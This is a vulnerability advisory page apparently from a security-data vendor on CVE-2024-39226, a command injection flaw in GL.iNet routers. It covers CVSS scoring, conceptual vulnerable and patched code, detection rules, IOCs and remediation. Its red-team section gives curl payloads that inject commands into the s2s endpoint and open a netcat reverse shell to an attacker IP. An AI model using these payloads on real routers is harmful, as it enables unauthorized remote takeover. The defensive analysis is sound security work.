CVE-2024-39226
Executive Summary
CVE-2024-39226 is a critical unauthenticated remote command injection vulnerability affecting multiple GL.iNet router models. The flaw resides in the s2s API, which fails to properly sanitize user-supplied input, allowing an attacker to inject arbitrary operating system commands. Successful exploitation grants full remote control over the device, enabling data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability impacts a wide range of GL.iNet products across multiple firmware versions, with no official patch currently available. Given the public disclosure and the lack of a fix, this vulnerability poses a severe risk to all affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue in the embedded Linux system of GL.iNet routers. The s2s API is a custom component, and the risk is directly tied to the device's firmware supply chain. Users are advised to monitor GL.iNet's official channels for a firmware update and, in the interim, implement strict network segmentation and access controls.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
- Confidentiality (C): High – Full read access to all device data.
- Integrity (I): High – Full write access to the device filesystem.
- Availability (A): High – The attacker can disrupt or completely disable the device.
Threat Level: Critical. The combination of network accessibility, no authentication, and full system compromise makes this an extremely dangerous vulnerability. Public proof-of-concept code is available, increasing the likelihood of widespread exploitation.
Deep Dive & Mechanics
The vulnerability is an OS command injection flaw in the s2s API endpoint of GL.iNet routers. The s2s API is designed for internal communication between services, but it is exposed on the network without proper authentication. The API accepts user-supplied parameters that are subsequently passed to a shell command without sanitization.
Root Cause: The application uses a function like popen() or system() to execute a command that includes user-controlled input. For example, a parameter like command might be concatenated directly into a shell command string:
system("s2s_client --action " + user_input)
An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary commands.
Attack Flow:
- Reconnaissance: The attacker scans for GL.iNet devices on the internet (e.g., using Shodan with the dork
GL.iNet). - Exploitation: The attacker sends a crafted HTTP request to the
s2sAPI endpoint with a malicious payload. - Execution: The injected command is executed with root privileges on the device.
- Post-Exploitation: The attacker establishes persistence (e.g., adding an SSH key, installing a backdoor), exfiltrates data, or uses the device as a pivot point.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// s2s_api_handler.c
void handle_s2s_request(char *user_input) {
char command[512];
snprintf(command, sizeof(command), "s2s_client --action %s", user_input);
system(command); // Vulnerable: user_input is not sanitized
}
Patched Code (Conceptual):
// s2s_api_handler.c
void handle_s2s_request(char *user_input) {
// Use a whitelist of allowed actions
if (strcmp(user_input, "status") == 0 || strcmp(user_input, "restart") == 0) {
char command[512];
snprintf(command, sizeof(command), "s2s_client --action %s", user_input);
system(command);
} else {
// Reject invalid input
log_error("Invalid action: %s", user_input);
}
}
The patched version implements input validation by only allowing a predefined set of actions. This prevents command injection by ensuring that user input cannot contain shell metacharacters.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable GL.iNet router (e.g., AR750 with firmware v4.3.11).
- Network access to the router's management interface (typically port 80 or 443).
Exploitation Steps:
Identify the target: Use Shodan or a network scan to find GL.iNet devices.
Craft the exploit payload: The
s2sAPI endpoint is typically at/cgi-bin/s2s. A simple command injection payload can be sent via a GET or POST request.Example using
curl:curl -X POST "http://<target_ip>/cgi-bin/s2s" \ -d "action=status;id"This payload attempts to execute the
idcommand after the intendedstatusaction.Verify exploitation: The response should include the output of the
idcommand, confirming command execution.Example response:
uid=0(root) gid=0(root) groups=0(root)Establish a reverse shell:
curl -X POST "http://<target_ip>/cgi-bin/s2s" \ -d "action=status;nc -e /bin/sh <attacker_ip> 4444"On the attacker machine, listen for the connection:
nc -lvnp 4444
Blue Team (Defensive)
Detection and Response:
- Monitor for anomalous HTTP requests: Look for requests to
/cgi-bin/s2scontaining shell metacharacters (;,|,&&,`). - Network segmentation: Isolate GL.iNet routers on a separate VLAN with strict firewall rules. Do not expose the management interface to the internet.
- Intrusion Detection Systems (IDS): Deploy Suricata or Snort rules to detect the exploit pattern.
- Log analysis: Enable and monitor system logs for unusual process execution (e.g.,
nc,bash,pythonspawned by the web server). - Honeypot: Deploy a honeypot mimicking a GL.iNet router to detect scanning and exploitation attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/cgi-bin/s2swith parameters containing shell metacharacters. - Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 1337).
- Unusual DNS queries from the router to known malicious domains.
Host IOCs:
- Unexpected processes running on the router (e.g.,
nc,bash,python,perl). - New SSH keys in
/etc/dropbear/authorized_keys. - Modified or new files in
/tmpor/etc(e.g.,/tmp/.backdoor). - Unusual cron jobs or startup scripts.
File IOCs:
/tmp/.persistent– A common backdoor file name./etc/init.d/S99backdoor– A startup script for persistence.
Detection Engineering
YARA Rule
rule GLiNet_S2S_Command_Injection {
meta:
description = "Detects command injection attempts against GL.iNet s2s API"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-39226"
strings:
$s2s_path = "/cgi-bin/s2s"
$shell_meta1 = /[;&|`$]/
$shell_meta2 = /(\$\(|`|%60)/
condition:
$s2s_path and (#shell_meta1 > 2 or #shell_meta2 > 0)
}
Sigma Rule
title: GL.iNet s2s API Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to GL.iNet s2s API containing shell metacharacters
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-39226
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/cgi-bin/s2s'
keywords:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate use of shell characters in non-malicious contexts (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"GL.iNet s2s API Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/s2s"; http_uri; pcre:"/(;|\||&&|`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the s2s API: If not required, block access to the
/cgi-bin/s2sendpoint via firewall rules or by removing the CGI script. - Network Segmentation: Place all GL.iNet routers on a separate VLAN with strict access controls. Do not expose the management interface to the internet.
- Monitor for Exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Long-Term Fix:
- Firmware Update: Monitor GL.iNet's official website and forums for a patched firmware version. Apply the update as soon as it becomes available.
- Vendor Communication: Contact GL.iNet support to request a timeline for the patch.
Workaround:
- Input Validation: If you have access to the source code, implement input validation as shown in the "Vulnerable vs. Patched Code" section.
- Web Application Firewall (WAF): Deploy a WAF with rules to block requests containing shell metacharacters in the
s2sAPI endpoint.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.